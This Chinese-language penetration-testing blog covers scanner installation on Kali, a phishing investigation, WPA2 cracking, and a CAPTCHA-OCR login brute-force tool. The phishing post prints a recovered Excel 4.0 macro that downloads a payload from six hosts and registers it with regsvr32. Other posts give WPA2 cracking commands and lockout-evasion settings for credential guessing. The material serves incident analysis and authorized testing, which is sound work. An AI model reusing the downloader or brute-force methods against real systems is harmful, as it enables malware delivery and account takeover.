ALTER USER kali WITH ENCRYPTED password 'kali';
#為kali設定密碼
#這裡延用 kali，是為了方便操作，也可以另定密碼，
#此密碼在OS的kali密碼並不是同一組

CREATE DATABASE sonar WITH ENCODING 'UTF8' OWNER kali TEMPLATE=template0;
#為sonar(白箱工具)建立資料庫，名為 sonar，
# 並將此資料庫擁有者設為kali (上面建立的 kali，不是OS的帳號 kali)

\q #離開 PostgreSQL 資料庫命令列環境

exit #離開PostgreSQL管理環境

叁、安裝arachni （參考這篇文章）

將 arachni安裝於 /opt 目錄，指令如下：

wget /P /tmp https://github.com/Arachni/arachni/releases/download/v1.6.1.3/arachni-1.6.1.3-0.6.1.1-linux-x86_64.tar.gz #將arachni下載至 /tmp 目錄

cd /opt #切換到 /opt 目錄，arachni 將安裝至此

sudo tar -zxvf /tmp/arachni-1.6.1.3-0.6.1.1-linux-x86_64.tar.gz #將檔案解壓至 /opt

cd arachni-1.6.1.3-0.6.1.1/.system/arachni-ui-web/db/ #切換到arachni的資料庫目錄

chmod 666 production.sqlite3 # 設定預設使用的sqlite資料庫的讀寫權限

完成安裝後，請以下列命令啟動arachni web伺服器：

cd /opt/arachni-1.6.1.3-0.6.1.1/bin # 切換到arachni的bin目錄

./arachni_web -o 0.0.0.0 -p 8888 #啟動arachni

# -o 指定來源網卡，0.0.0.0 表示此機器上的所有網卡
# 8888 表示連線端口，瀏覽器可以 http://VM-IP:8888 連線。

啟動arachni web serve後，從Kali裡的瀏覽器連線http://127.0.0.1:8888，如果出現登入畫面，就表示安裝成功了。arachnii預設的兩組帳密分別是：

admin@admin.admin ／ administrator
user@user.user ／ regular_user

看到登入畫面，表示arachni安裝成功

上面的安裝方式是使用arachni自帶的sqllite3資料庫，如果想使用PostgreSQL資料庫來保存arachni執行結果，可按下列步驟調整：

cd /opt/arachni-1.6.1.3-0.6.1.1/.system/arachni-ui-web/config/ #切換到 config 目錄

sudo mv database.yml database.yml.sqlite3 #備份原來sqlite3的連線組態

sudo mv database.yml.pgsql database.yml # 啟用postgresql的連線組態

cat database.yml #查看連線組態的內容
#要注意裡頭 username: arachni 及 password: secret 的值

cd ~ #回到kali的家目錄

接著設定arachni的資料庫。假如一開始就打算讓arachni使用PostgreSQL資料庫，可以在步驟貳完成以下的資料庫設置。

su - postgres #切換成postgres角色的作業環境
密碼： <輸入postgres的密碼>

createuser arachni # 配合database.yml裡的username值，建立新使用者

psql #進入PostgreSQL 資料庫命令列環境

ALTER USER arachni WITH ENCRYPTED password 'secret';
# 配合database.yml裡的password，為arachni帳號設定密碼

CREATE DATABASE arachni_production WITH ENCODING 'UTF8' OWNER arachni;
#建立arachni_production資料庫，並將擁有者設為arachni

ALTER USER arachni CREATEDB; #賦予arachni建立DB的權限

\q #離開 PostgreSQL 資料庫命令列環境

exit #離開PostgreSQL管理環境

完成arachni的資料庫設定後，還需要執行

cd /opt/arachni-1.6.1.3-0.6.1.1/bin
./arachni_web_task db:setup

來設定arachni_production的資料庫綱要。

肆、安裝SonarQube

這裡有SonarQube的所有下載檔，筆者選用免費的社群版，並安裝於 /opt目錄。

wget -P /tmp https://binaries.sonarsource.com/Distribution/sonarqube/sonarqube-9.9.0.65466.zip # 將SonarQube下載到 /tmp 目錄

cd /opt # 將工作目錄切換到 /opt

sudo unzip /tmp/sonarqube-9.9.0.65466.zip #解壓縮 SonarQube

sudo chown -R kali:kali /opt/sonarqube-9.9.0.65466/* # 變更sonarqube的權限設定

sudo chmod 777 -R /opt/sonarqube-9.8.0.63668/temp # #變更temp的權限設定

sudo nano /opt/sonarqube/conf/sonar.properties #編輯sonar 組態檔

# DATABASE #有關資料庫連線的設定

sonar.jdbc.username=kali #帳號，見步驟貳的設定

sonar.jdbc.password=kali #帳號，見步驟貳的設定

sonar.jdbc.url=jdbc:postgresql://localhost/sonar #sonar是步驟貳建立的資料庫

# WEB SERVER #有關Web Server的設定

sonar.web.host=0.0.0.0 #指定可連入的網卡，0.0.0.0表所有IP皆供連線

sonar.web.port=9000 #指定監聽連入的端口

/opt/sonarqube-9.9.0.65466/bin/linux-x86-64/sonar.sh console #啟動SonarQube

啟動SonarQube伺服器後，由Kali裡的瀏覽器連線http://127.0.0.1:9000，若出現登入畫面，就表示安裝成功了。

看到登入畫面，表示SonarQube安裝成功

至此已完成Arachni及SonarQube安裝，有空再介紹這兩套工具的基本用法。

註：若一切從頭安裝，必須逐一安裝java、PostgreSQL、Ruby，利用現成的Kali VM，將心思專注於arachni及SonarQube的安裝，省卻許多除錯程序，可大大提高成功率。

白箱掃描範例：

掃描dotNet Core專案源碼
 掃描.netFramework專案源碼
 掃描maven專案源碼

社交工程事件調查

2022-05-15T11:55:00.005+08:00

參與滲透測試小組好幾年了，第一次遇到真正的社交工程攻擊。

前天(2022/05/13)甫上班，同事就來電說他被釣魚了，叫我幫忙分析郵件裡的載荷。這位同事很機警，並沒有打開郵件，而是直接將它存成 .msg（outlook格式的郵件檔），我用Outlook的純文字模式開啟此封郵件，裡頭有一支Excel檔（.xls）。一下載此xls就被防載軟體砍掉，覺得有必要看看它有什麼機關？

用EXCEL開啟此xls時，會出現停用巨集的安全性警告（圖1），表示裡頭有巨集，下意識就切到VBScript編輯環境，但沒有發現任何巨集、也沒有要求輸入保護密碼，心中疑惑重重！想起林易澍老師教過「OfficeMalScanner」可以分離出被保護的巨集，但執行結果是「No VB-Marco code found!」（圖2）。

圖1：出現安全性警告

圖2：OfficeMalScanner找不到巨集

再端詳此xls，發現只有一張試算表，上面就只有一張圖片，原本以為是想利用圖片騙人點擊，但查看圖片的屬性，也沒發現和巨集有關聯。無意中發現工作列左方的「名稱框」有蹊蹺（圖3），不管選哪一個名稱都不會跳到名稱所代表的儲存格，也就是說「有東西被隱藏起來」，再回到VBScript編輯環境，真的發現有四張工作表，但試算表環境只能看到一張（圖4）。

圖3：名稱卻找不到對應的儲存格

圖4：在VBScript編輯環境可看到被隱藏的工作表

回到試算表環境，在下方頁籤點擊滑鼠右鍵，一一將隱藏的工作表還原，真的有五張工作表吔！可是~~可是~~，在VBScript編輯環境只看到四張表，哦！少了一張，那一張應該就是關鍵了！上網搜尋，的確有人提到去除VBScript編輯環境裡的sheet之方法（但沒有說如何復原）。

復原的Vv1、Vv2、Vv3這三張工作表只是一些參考文字，重點在FRHJDJDI這張工作表上，這張也是在VBScript編輯環境被去除的工作表。

FRHJDJDI只在F10這一格有公式，它是利用Vv1、Vv2、Vv3三張表的內容兜成公式文字，再利用FORMULA()去執行，但FORMULA()並非Excel的內建公式，亦即它是攻擊者製作的巨集（VBScript），經分析，FRHJDJDI的F10儲存格是要執行下列動作：

=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.itesmeitic.com/term/IFjx5ElE0ldr8wDDHjub/","..\wurod.ocx",0,0)

=IF(HRHRE1<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.ingonherbal.com/application/PhEbceg4Tx/","..\wurod.ocx",0,0))

=IF(HRHRE2<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ftp.colibriconstruction.net/cc/KHieqeOsagkmlGIuXc56/","..\wurod.ocx",0,0))

=IF(HRHRE3<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://commune-ariana.tn/sites/3BvaCmo/","..\wurod.ocx",0,0))

=IF(HRHRE4<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://dmaicinnovations.com/Swift-5.0.2/jEtePB/","..\wurod.ocx",0,0))

=IF(HRHRE5<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://drcreative.cz/images/DwThyQntyImCHk0tpba/","..\wurod.ocx",0,0))

=IF(HRHRE6<0, CLOSE(0),)

=EXEC("C:\Windows\System32\regsvr32.exe ..\wurod.ocx")

=RETURN()

原來此xls是利用開啟活頁簿時，Excel會自動計算公式的機制來執行惡意行為。從解析出來的公式，它會嘗試從六個來源下載木馬程式，只要有一個成功，就註冊成Active元件，至於這支惡意程式的功能還需等待逆向工程分析。另一個未解的問題是被去除工作表，有沒有方法可以將它回復？

後記：

感謝林易澍老師指導，原來這份檔案是使用Excel 4.0的巨集指令 (稱為xlm)，自Excel 95起已棄用Excel 4.0的巨集指令，而已用VBA，但現行的Excel版本仍具備執行xlm能力。難怪找不出這份文件裡的vba程式碼，原來是我功力不足，找錯方向！

hashcat到底怎麼了？不認得cap2hccapx轉出的檔案

2021-09-12T06:46:00.007+08:00

玩暴力破解的人，對John the Ripper(簡稱JtR)和Hashcat應該不陌生，這幾天趁空想比較JtR、Hashcat及Aircrack-ng破解WPA2的操作方法，論效能，大家潛意識會選Hashcat吧！所以這篇不是比較效能，而是比較不同的操作方法。

三種方法的前置作業都是先擷取封包，就是利用airodump-ng抓取目標AP的封包。當收集足夠理想的封包後，接下來的作法就略有不同。本例採用「暴力破解」，假設密碼是8位的數字（密碼愈長愈複雜，破解時間愈長）。

利用aircrack-ng破解

aircrack-ng可以直接處理擷取到的*.cap檔，但本身無暴力產生密碼功能，需要借助用john的mask模式，指令如下：（aircrack-ng的-w -參數表示從STDIN讀入字典）

john --mask=?d?d?d?d?d?d?d?d --stdout | aircrack-ng -a 2 -b 1C:AB:C0:DD:xx:xx abc-01.cap -w -

利用Johnt the Ripper破解

要使用JtR破解WPA2，必須先利用wpapcap2john將*.cap轉成JtR認得的格式：

wpapcap2john abc-0*.cap > ap.john

john --mask=?d?d?d?d?d?d?d?d --format=wpapsk ap.john

利用Hashcat破解

要使用Hashcat破解WPA2，必須先利用cap2hccpax或aircrack-ng將*.cap轉成hccapx格式：

aircrack-ng -j ap.hccapx abc-01.cap

cap2hccapx abc-01.cap ap.hccapx

hashcat -a 3 -m 22000 ap.hccapx ?d?d?d?d?d?d?d?d

不同版本的hccapx

Kali裡的hashcat 6.1.1版可以正常破解cap2hccpax轉出的檔案，但Windows 10裡的6.2.4卻出現下列錯誤：

由https://hashcat.net/cap2hashcat/線上轉檔的結果，hashcat 6.2.4版則可正常處理。

1. 將.cap檔上傳到https://hashcat.net/cap2hashcat/

2. 下載轉檔後的結果

經比較發現，cap2hccpax或aircrack-ng轉檔的結果是二進制檔，而線上轉檔的結果是文字檔，所以，想用Windows的hashcat破解WPA2，可以將*.cap檔上傳到https://hashcat.net/cap2hashcat/轉檔。

Kali的sparta整合工具不見了，請改用legion

2021-09-08T14:02:00.000+08:00

sparta是一款圖形化的整合型掃描與枚舉平台，本身並沒有掃描功能，但它將nmap、Nikto、hydra、nbtscan等多種工具整合在一起，我們只要提供待測目標的網址清單，sparta就會利用nmap掃描，再依照掃描結果調用其他工具做後續處理，可替滲透測試人節省掉很多時間。

由於sparta的開發者已不在維護，而它的執行環境是python 2.6，也是已過時的版本，故Kali自2019.4版之後就移除sparta了，對於習慣使用sparta從事滲透測試者，或許可以改用legion，legion的操作介面幾乎和sparta一樣。不過，Kali並未事先安裝legion，需要自己動手：

apt-get install legion

安裝後，可參考「自定Kali應用程式選單（Applications Menu）的項目（成員）」這篇的作法，將legion加到Kali應用程式選單中，底下就是筆者的legion.desktop內容，加入選單後，就可分別從「01-信息收集─>情報分析」及「05-密碼攻擊─>在線攻擊」兩處找到legion：

[Desktop Entry]
Name=legion(Sparta)
Encoding=UTF-8
Exec=legion
Icon=kali-menu
StartupNotify=false
Terminal=true
Type=Application
Categories=01-07-osint-analysis;05-01-online-attacks;
X-Kali-Package=legion

自定Kali應用程式選單（Applications Menu）的項目（成員）

2021-09-08T11:28:00.001+08:00

Kali以前使用Gnome桌面，可以透過Alacarte工具編輯應用程式選單。改用Xfce桌面後，還是可以安裝Alacarte，但是它只能編輯現有項目的屬性，卻無法新增項目。

網路推薦的Xfce選單編輯器是menulibre，安裝後一執行卻出現「MenuLibre cannot be run as root.」，不能用root執行，偏偏我已習慣用root操作Kali。

為此，另外建了一組帳號，再執行「 su - kali -c menulibre」，這次出現別的錯誤：

root@kali-2020-3:~# su - kali -c menulibre
┏━(Message from Kali developers)
┃
┃ We have kept /usr/bin/python pointing to Python 2 for backwards
┃ compatibility. Learn how to change this and avoid this message:
┃ ⇒ https://www.kali.org/docs/general-use/python3-transition/
┃
┗━(Run: “touch ~/.hushlogin” to hide this message)
Unable to init server: Could not connect: Connection refused
Unable to init server: 無法連接：Connection refused

(menulibre:4377): Gtk-CRITICAL **: 08:10:06.059: gtk_icon_theme_get_for_screen: assertion 'GDK_IS_SCREEN (screen)' failed
No menu prefix found, MenuLibre will not function properly.
Unable to init server: 無法連接：Connection refused

(menulibre:4377): Gtk-WARNING **: 08:10:06.082: cannot open display:

實在不想花太多時間去處理偶爾才用一次的功能，最後還是將menulibre移除了。

為什麼需要編輯功能表？因為新安裝工具後，若一段時間不用，常忘了工具的名稱，如果能將工具安排在選單裡，就算忘了名稱，大概還記得工具的類型，較容易從選單裡找到。

既然Alacarte及menulibre不能用，就改用手工編輯吧！反正偶爾才用一次。

注意：這不是標準，也非精確的作法，只是剛好解決在應用程式選單加入新項目的需求。

首先是xfce的選單項目是存放在「/usr/share/kali-menu/applications/」目錄裡，每個項目的副檔名是「.desktop」，就以「Kali-nmap.desktop」為例，其內容如下：

[Desktop Entry]
Name=nmap
Encoding=UTF-8
Exec=/usr/share/kali-menu/exec-in-shell "nmap"
Icon=kali-nmap
StartupNotify=false
Terminal=true
Type=Application
Categories=01-info-gathering;01-04-network-scanners;02-vulnerability-analysis;
X-Kali-Package=nmap

這是相對單純的項目內容，還有其他更複雜的項目，但這個單純範例已符合我的需要！當需要新增項目的，就可以直接複製Kali-nmap.desktop來修改，例如要增加一個vega選項：

cp Kali-nmap.desktop vega.desktop

然後編輯vega.desktop，如下：

[Desktop Entry]
Name=vega
Encoding=UTF-8
Exec=vega
Icon=kali-menu
StartupNotify=false
Terminal=true
Type=Application
Categories=01-info-gathering;03-05-web-vulnerability-scanners;
X-Kali-Package=vega

主要修改部分如紅粗字，接著將此檔案複製一份到「/usr/share/applications/」，這樣就完成選單項目新增，如下圖黃圈的vega就是我手工加到選單上的。當然，只要將檔案刪除就可移除選單項目。

再說一次，這不是標準作法，只是剛好解決增、刪、改選單項目的要求。

檔案內容說明

[Desktop Entry]                         # 區段名稱，不需修改
Version=1.0                              # 版號
Name=vega                            # 呈現的名稱，各語系通用，要修改
Comment=Web vulnerability Scanner          # 提示文字，當滑鼠停駐項目時彈出，各語系通用
Name[zh_CN]=vega 扫描            # zh_CN，作業系統使用簡中語系時呈現的名稱
Comment[zh_CN]= Web漏洞扫描工具     # zh_CN，作業系統使用簡中語系時呈現的提示文字
Name[zh_TW]=vega 掃描            # zh_TW，作業系統使用繁中語系時呈現的名稱
Comment[zh_TW]= Web漏洞掃描工具     # zh_TW，作業系統使用繁中語系時呈現的提示文字
Encoding=UTF-8                     # 編碼格式
Type=Application                    # 類型   Application，或Link
Exec=vega                             # 選擇此項目時要執行的命令，如同手動在終端機執行
Icon=kali-menu                          # 此選單項目的圖示，請參考下列「Icon的來源」段
StartupNotify=false                 # 啟動時，要不要顯示提示視窗？反正設為false就對了
Terminal=true                           # ？？不清楚，照著設為true
Categories=02-vulnerability-analysis;                 # 要放在選單的哪個分類下，若要放在多個分類，請用「;」分隔，至於怎麼找到分類名稱，請參考下面「分類名稱來源」段的說明
X-Kali-Package=vega                  # kali裡的套件名稱

除了Type=Application使用用Exec執行命令外，如果「Type=Link」則可透過「URL=<URL>」指定欲由預設瀏覽器開啟的網址。

如果希望應用程式在終端機內執行，可將Exec的值修改如下，前段的「/usr/share/kali-menu/exec-in-shell」會啟動作業系統的終端機，後段的「"hydra -h"」代表要在此終端機內執行的命令及傳遞此命令的參數。

Exec=/usr/share/kali-menu/exec-in-shell "hydra -h"

Icon的來源

項目內容裡的Icon參數只需指定圖示名稱，系統會參照「/usr/share/icons/hicolor/DxD/apps/」內的同名稱圖示檔，如上例的「kali-menu」就是指 kali-menu.png，前述路徑裡的DxD是指圖示大小，有興趣者，可以自己到「/usr/share/icons/hicolor/」目錄下找找！

分類名稱來源

分類名稱就從現有的選單項目內容去，例如想找自定的選單項目放在「06-無線攻擊」裡的「藍牙工具集」，「cat kali-btscanner.desktop」就會發現分類名稱是「06-02-bluetooth-tools」

root@kali-2019-3:/usr/share/applications# cat kali-btscanner.desktop
[Desktop Entry]
Name=btscanner
Encoding=UTF-8
Exec=/usr/share/kali-menu/exec-in-shell "btscanner -h"
Icon=kali-menu
StartupNotify=false
Terminal=true
Type=Application
Categories=06-02-bluetooth-tools;
X-Kali-Package=btscanner

不要問我如何新增分類夾，我還沒有找到答案，如果有人知道，也請告訴我，謝謝！

CodeCrackWin 3.0版(圖形驗證碼暴力破解工具) 使用說明

2021-08-31T10:47:00.006+08:00

之前版本使用WebBrowser組件處理請求及回應，發現無法正確處理Ajax及JSON，因此重新改寫，仍由WebBrowser讀取第一頁面，以便取得登入欄位及驗證碼圖形。暴力測試測試則改由HttpWebRequest處理，以解決前版遭遇的問題。

執行檔下載：CodeCrackWin.ZIP（記得調整設定檔 CodeCrackWin.config)

原始碼下載： CodeCrackWin-source.ZIP (本專案是用 Visual Studio 2013開發的)

範例網頁：CodeCrackDemo.ZIP (請自行掛載到IIS)

一、前言

CodeCrackWin是以.NET 3.5為基礎，用C#寫成的，主要的OCR元件為tessdata 4的函式庫。這支程式算是入門級，可能還有很多狀況沒有考慮到，因此誤判率可能不低，能應付的圖形碼也有限，當初開發的目的只是為了測試使用者是否使用弱密碼，但軟體總是要先有初版，如果不符您的需求，請直接移除。

二、安裝CodeCrackWin

CodeCrackWin 採綠色軟體模式開發，不必安裝，但需依程式存放的目錄調整組態檔。

修改CodeCrackWin.exe.config

1.<appSettings>區段的設定

tessedit_char_whitelist：表示進行OCR時只會判斷這些字元，如果圖形碼使用的字元愈多，本程式的辨識就愈低。系統預設只用數字和大寫字母，如果待破解的網站會用到小寫字母，請將此設定的 value 加入小寫字母。如果網站的圖形碼只有數字，則將此參數值設成「0123456789」，可以提高辨識率。

程式中的「 OCR字元」欄位內容與tessedit_char_whitelist的功用相同，只是「OCR字元」針對特定的網站(寫在設定檔中，程式執行時，如果「OCR字元」有值，則優先使用「OCR字元」內容，如果「OCR字元」是空的，則使用tessedit_char_whitelist的內容。

timer_tick：設定嘗試破解的時間間隔，單位是毫秒，如設為3000，表示每三秒鐘才嘗試一組帳密。

2. <userSettings>> < TesseractOCR.Properties.Settings> 區段

TessdataPath<value>是指定ORC判斷的範本，如果設錯了，程式執行時會卡住，它的路徑一定要指定程式安裝位置下的tessdata目錄，以本例應該是D:\CodeCrack\tessdata。 (上圖是我的測試環境，和這一段的描述的路徑不同)

三、第一次執行

要執行此程式，只要雙擊「CodeCrackWin.exe」即可，起始畫面如下圖（預先填入一些值，只是為了讓使用者明白該欄位的格式），是有點複雜，而且使用上也需要一點竅門。

下列是程式各欄位說明 (畫面上的>數字對應下列的項次編號)：

1.網址：這是需要使用者填入帳號及密碼的頁面網址，通常就是系統的登入頁面，必須指定完整的網址，如果實際的登入頁是嵌在frame(或iframe）裡，應該要指定真正的登入頁網址，而不是佈置frame的外圍網址。

2.帳號欄位：登入網頁上用來填「帳號」的欄位之name或id屬性值。例如該欄位的HTML是<input type="text" name="account" id="account-id">，則這一欄就是填「account」；如果沒有name屬性，則填id的值「account-id」。

3.密碼欄位：登入網頁上用來填「密碼」的欄位之 name屬性內容。例如該欄位的HTML是<input type="password" name="pwd" id="pwd-id">，則這一欄就是填「pwd」；如果沒有name屬性，則填id的值「pwd-id」。

4.圖形碼欄位：登入網頁上用來填「圖形驗證碼」的欄位之name屬性內容；如果沒有name屬性，則填id的值。

5.圖形元素的TagName：由於應用程式有不同方式可提供圖形，這裡必須要知道它是用img 或 input，例如它的html碼是<IMG id=loginImg src=\"../VerifyCodeServlet?t=login\">，這一欄就填「img」。又如果是用<input name="ImageButton1" src="ValidateCode.aspx"> ，就填「input」。類型一定要正確，否則會找不到圖形。

6.圖形碼來源：用來判斷驗證碼圖形元素的關鍵字，程式是靠這段文字判斷哪一個元素是圖形，以第5.點的說明為例，圖形元素的HTML碼是<IMG id=loginImg src="../VerifyCodeServlet?t=login">，則這一欄可以填「VerifyCodeServlet?t=login」或「VerifyCodeServlet?」

7.圖形座標微調：有時程式自動判斷圖片位置會有些微誤差，可以利用此欄位進行微調，單位是「像點」。有些驗證碼圖形會加外框（指圖本身），造成程式誤判背景顏色，這種情況可以利用應標微調方式避開外框，以下圖而言，紅色外框轉成灰階後會近似黑色，但實際背景應該是白色，由於框的寬度是2pix，因此可將 x,y 各設為2。x是水平座標，也就控制圖形左邊的垂直框線，y是垂直座標，也就控制圖形上邊的水平框線。

8.去2nd雜點及去3rd雜點：這是用來強化清除圖片雜點的選項，請視圖片的品質選用，有時過度清除雜點也會造成失真，要不要啟用，應該以實際情況做為依據。

9.未使用圖形驗證碼：本程式除了針對有圖形驗證的登入頁面外，也適用於無圖形驗證的登入頁面，若登入頁未使用圖形驗證碼機制，請將此欄打勾，程式就不會處理圖形辨識。要應付沒有圖形驗證碼的登入頁面，hydra會是更好的選擇。

10.(OCR結果)：這裡可看到OCR辨識結果，供人工判斷辨識成功與否。

11.(灰階值)：當用滑鼠點擊31.的驗證碼圖形時，這裡會顯該像點的灰階值，可做為24. 25.項的噪音線上、下限調整參考。

12. 提交字串：新版改用HttpWebRequest提交資料，因此需要知道提交對象及內容。
如何得知提交字串？可以利用瀏覽器的開發人員工具攔截人工登入的流量，查看「登入」時，帳號、密碼及驗證碼是如何提交給後端驗證，並記錄提交對象、提交方法及提交內容。提交字串的內容就是<提交對象>?<提交內容>所組成。
若為GET方式，URL的內容就是提交字串，若為POST方式，要手工自行組合。
為了順利提交資料，提交字串需要稍作整形，以下圖的例子來看，從瀏覽器取得的提交字串是「Account=test&Password=password&VarifyCode=666666&AccountType=Student&__RequestVerificationToken=uar5cJQ4LbogTjPEp3dPJgcohYranexj7qfqSO4T_l-bgmJ9duY42rzCPTJxByMmY9Mu1PhWEulmZBunU7i5sRQJUa81」，其中紅字部分是變動資料，必須告訴工具要用哪些資料來替換。
例如：test是來自表單的「Account」欄位，所以「test」要改成「^Account^」，同理password要改成密碼欄的名稱或id，即「password」要改成「^Password^」；某些Web系統會動態塞入一些防偽造token，只要它是插在表單的欄位裡(例如 hidden)，也可以利用前述的替換手法，讓系統自動提交，例如「__RequestVerificationToken=^__RequestVerificationToken^」，本工具就會從表單中找出__RequestVerificationToken的值，在請求登入時，提交正確的token值。

13. 提交方式：參考12. 的說明，依照提交方法，請選擇「GET」或「POST」。

14. 資料型態：參考12. 的說明，依照提交內容的格式，請選擇「URL格式」或「JSON」。

15. 轉址層數：當提交登入資料後，後端程式可能會依驗證結果而做轉址，此處的轉址層數是告訴工具，若有轉址行為，只要判斷到第幾層就好，所謂第幾層，就是收到幾次30x的狀態碼。

16.帳號檔、載入帳號、單一帳號：此三項是一體連動的，若勾選單一帳號，則帳號檔的內容就是單筆帳號，例如只想嘗試破解admin這組帳號的密碼，就可以將單一帳號打勾，並於帳號檔填「admin」。如果單一帳號沒有打勾，就可以利用載入帳號鈕選擇字典檔，將待測的帳號清單載到程式中，載入後，有效的帳號筆數會出現在此按鈕文字的右方，例如載入5筆帳號，按鈕文字會由「載入帳號」變成「載入帳號(5)」，而帳號檔這一欄的內容就是帳號字典檔的路徑。

17.密碼檔、載入密碼、單一密碼：此三項是一體連動的，若勾選單一密碼，則密碼的內容就是單筆密碼，例如只想嘗試password這組密碼，就可以將單一密碼打勾，並於密碼檔填「password」。如果單一密碼沒有打勾，則可以利用載入密碼鈕選擇字典檔，將待測的密碼清單載到程式中，載入後，有效的密碼筆數會出現在此按鈕文字的右方，例如載入5筆密碼，按鈕文字會由「載入密碼」變成「載入密碼(5)」，而密碼檔這一欄的內容就是密碼字典檔的路徑。

18.帳密方式：執行暴力破解時，預設(即都不勾選時)是先選一組帳號，然後測試所有密碼後(密碼先行)，再選下一組帳號，這種破解方式很可能讓使用者的帳號被鎖定（DoS攻擊的一種）。本工具提供另三種帳密使用方式：
帳號先行：有些系統會每隔一段時間(如30分鐘)自動解鎖，這時就可以選用帳號先行策略，選一組密碼，嘗試所有帳號之後，再選下一組密碼，讓每組帳號被測試的間隔拉長。
帳密同行：帳號清單及密碼清單同時遞增，只要其中一種測試完畢，即停止測試。
只用帳號：將帳號清單的內容同時填在帳號欄及密碼欄。一般用在登入頁面只有帳號欄位，而沒有密碼欄位時。(此時3. 的密碼欄位可以隨便指定一個名稱)。

19. 登入失敗的訊息／登入成功的訊息：用來判斷帳密正確與否的字串，若不勾選，則回應內容若存在指定的字串，就視為登入失敗；若勾選，則回應內容若存在指定的字串，就視為登入成功。(見 20. )

20. (判斷登入結的文字)：配合19. 的設定，用來判斷登入成功或失敗的回應文字。這裡判斷的字串不一定是顯示在頁面的文字，必須小心分析出成功或失敗的差異。

21.驗證碼錯誤的訊息：當驗證碼錯誤時，伺服回應的判斷訊息，程式是利用此文字判斷填入的驗證碼是否正確。

22.帳號鎖定之訊息：當帳號被鎖定時，伺服回應的判斷訊息，程式是利用此文字判斷帳號是否已被鎖住，鎖住的帳號就不會再嘗試。

23.OCR字元：設定OCR識別的範圍，如果圖形驗證碼只會出現數字，此欄可以填「0123456789」，如果會出現大小寫及數字，就必須填入「0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz」

24.噪音線灰階下限、25.噪音線灰階上線、25'. 降階值：這三個值會影響程式過濾圖形的噪音線及噪音點的能力，噪音線灰階的低愈低，表示顏色愈黑，0是全黑，反之，愈高就是愈白，255是全白，所謂上限或下限是指色碼值介於上、下限之間的像點才視為待辨識的文字，其餘的像點將被當成雜點而被濄濾掉，程式過濾噪音的能力就愈好，ORC的正確率就愈高。圖形會先轉成256階的灰階形式，以利OCR處理，降階值就是將256再降成更少階，例如填「8」，就是將每8階縮成1階，所以256階就會變成32階，如果圖形的文字和背景、噪音的色差很大，可以調高此值，如果色差很小，則此值就要調小一點。這三個>值沒有一定的基準，針對不同的站臺，一定有不同的最佳值，必須自己嘗試。

26.密碼嘗試次數：最少1次，若設9999即表示嘗試密碼清單中的所有值，這一項是為了防止帳號被鎖而設計的，如果已知密碼錯5次會被鎖定，則可以將次數設為3，讓帳號不會被鎖，只要過幾天，使用者正確登入，則密碼錯誤的計數就會歸零。

27.放大倍數：進行OCR時，將圖形放大有時可以提高成功率，此值為浮點數，可以設 1到2之間的數。

28.旋轉角度：有些圖形內的文字會以鈄體方式呈現，可以利用旋轉角度(-90~90之間)將它變成水平，以利OCR處理，當然對於隨機傾鈄的文字就無能為力了。

29.test鈕：當設好各個欄位後，可用「test」鈕試跑一筆，它真的只會跑一筆而已，用途就是測試欄位填的恰不恰當，也可以看看OCR結果理不理想，如果不理想可以試者調整：噪音線灰階下限、噪音線灰階上線、降階值、去2nd雜點、去3rd雜點、放大倍數、旋轉角度等參數，找出最佳辨識力。

30.開始嘗試：當按下此鈕，程式就會開始嘗試猜解，而且按鈕文字會改成「停止嘗試」，隨時可按「停止嘗試」中止此次的猜解作業（本程式沒有「暫停」功能）。

31.查看說明：載入本程式的說明文件(就是現在看到的頁面)

32.載入設定、33.儲存設定：因為本程式有許多設定欄位，如果每次執行都要逐一設定，鐵定瘋掉，為了讓設定結果可以重複取用，故可將目前運作良好的值存成設定檔，下次只要用「32.載入設定」就可以取回設定值。當然也可以建一個公版，修改後用「33.儲存設定」

34.(瀏覽視窗)：每一回的瀏覽畫面會顯示在此視窗。

35.(處理後的驗證碼圖形)、36.(選用圖形碼)：這裡會顯示圖片經程式轉換過程中，不同處理階段經OCR的結果，可以此預覽圖，做為各項參數調整的參考。在七道處理過程中，如果覺得某一道的OCR之正確率最高，可利將它勾選，就會以該道的OCR結果作為提交的圖形碼，而不是提交最終結果的圖形碼。
此圖形處理過程平常是隱藏的，可以雙擊10. 的圖片來開／關此方框。

37.(破解的帳密)：如果有猜解到的帳密會顯示在這裡。而執行目錄下會記錄執行日誌，格式為yyyymmddRun.log (yyyymmdd是年月日)。
在執行破解時，此清單會隱藏，若要手動開關，可以雙擊16. 或 17. 的文字標籤（即帳號檔或密碼檔字樣）

38.(自定JavaScript)：這些JavaScript只會作用於登入頁面。當頁面載入完成後，會呼叫__func__函式，而寫在此處的JavaScript則會被包封進__func__中，所以，寫在此處的JavaScript只支援單純的指令，請不要再用 function NAME() {　　 } 去包裝。例如：

/*test　　不要再自己加 function NAME() {　 }　 */
document.getElementById("Account").style.backgroundColor = "green";

39.(目前嘗試的帳密)：為了讓使用者目前處理進度，這裡會顯示目前嘗試的帳號及密碼。

四、載入帳號及密碼字典檔

為了進行暴力猜解，會需要帳號及密碼的字典檔，字典檔必須一組資料一行，程式目前不支援在一個檔案中同時以帳號、密碼組合的配對形式，帳號及密碼必須是各自獨立的檔案。下面是帳號字典檔的範例。

admin
88991
93676
peterwumoj7427
52137

五、存成設定檔及載入設定檔

由於猜解圖形驗證碼和猜解一般只有帳號密碼的困難度有很大差異，必須調整最佳參數才能得到理想效果，調整參數相當累人，當然不希望每回測試時都要重填一次，因此可將目前的設定結果儲存起來（見「33.儲存設定」），下次執行同一網站的猜解時就可用「32.載入設定」載入之前儲存的參數。
設定檔本身就是一支文字檔，也可以手動編輯，有關設定檔的說明請參考CodeCrack的設定檔。

六、測試用範例網頁

任隨猜解別人網站的帳密是違法行為，為了測試此工具，筆者做了一組小小的網頁（CodeCrackDemo），您可以將它架在IIS上，做為測試之用，如果執行無誤，應該會發現兩組帳密：admin／12345678a 和user／myPass1234

網站管理員搞烏龍

2021-08-29T05:45:00.003+08:00

這是發生在國內某家高級中學全球資訊網的低級錯誤，已通報ZeroDay！

